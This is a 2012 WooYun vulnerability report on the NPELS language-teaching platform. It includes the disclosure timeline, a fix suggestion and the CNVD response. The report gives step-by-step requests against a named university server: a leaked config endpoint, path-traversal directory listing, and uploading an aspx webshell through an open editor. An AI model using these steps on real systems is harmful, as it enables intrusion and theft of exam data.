当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-012928

漏洞标题：新理念外语网络教学平台文件上传

相关厂商：上海外语教育出版社

漏洞作者： Icyblade

提交时间：2012-10-09 16:37

修复时间：2012-11-23 16:38

公开时间：2012-11-23 16:38

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-10-09： 细节已通知厂商并且等待厂商处理中
2012-10-12： 厂商已经确认，细节仅向厂商公开
2012-10-22： 细节向核心白帽子及相关领域专家公开
2012-11-01： 细节向普通白帽子公开
2012-11-11： 细节向实习白帽子公开
2012-11-23： 细节向公众公开

简要描述：

好多大学都在用这个教学平台，这个漏洞会导致直接拿到试题答案，甚至作为跳板继续渗透进入学校其他服务器中

详细说明：

信息泄露和权限不严导致列目录及上传
以南开大学的为例: 

http://222.30.60.3/NPELS


NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址

<setting name="Update_CommonSvr_CommonService" serializeAs="String">
        <value>http://222.30.60.3/NPELS/CommonService.asmx</value>
</setting>

及版本号

<add key="TVersion" value="1, 0, 0, 2187">
</add>


直接访问

http://222.30.60.3/NPELS/CommonService.asmx


使用GetTestClientFileList操作，直接 HTTP GET 列目录：

http://222.30.60.3/NPELS/CommonService.asmx/GetTestClientFileList?version=1, 0, 0, 2187


进一步列目录（返回的网页很大，可以直接 wget 下来）

http://222.30.60.3/NPELS/CommonService.asmx/GetTestClientFileList?version=../../


发现

http://zzxx.nankai.edu.cn/npelsv/editor/editor.htm

可以上传，直接上传aspx木马即可，不需要改后缀名或者文件头
上传后继续列目录找到木马地址直接访问即可
OOXX
Google "新理念外语网络教学平台" 测试了几个其他的站，都有类似的列目录上传方法

漏洞证明：

列目录：

http://222.30.60.3/NPELS/CommonService.asmx/GetTestClientFileList?version=../../


文件上传：

http://222.30.60.3/npelsv/editor/editor.htm


上传木马：

http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx

修复方案：

好像考试系统必须使用 CommonService.asmx
最好配置文件加密或者用别的方式不让它泄露出来
并且检查或删除各上传入口，像 http://222.30.60.3/NPELS/Upload.aspx 一样

版权声明：转载请注明来源 Icyblade@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2012-10-12 22:33

厂商回复：

CNVD确认漏洞并复现所述情况，并交由上海交通大学网络中心协同分析处置，已完成相关软件两个版本的通用漏洞确认。对于厂商，由CNVD联系处置，同时已商请上海交通大学网络中心协助对各高校处置情况进行技术监督。
按通用软件漏洞类型，按完全影响机密性，部分影响可用性和完整性进行评分，rank=8.97*1.2*1.4=15.069

最新状态：

暂无

漏洞评价：

评论

  1. 2012-11-30 16:37 | hack2012 ( 实习白帽子 | Rank:31 漏洞数:3 | 关注信息安全 http://www.waitalone.cn/)

    webservice黑客呀。。支持！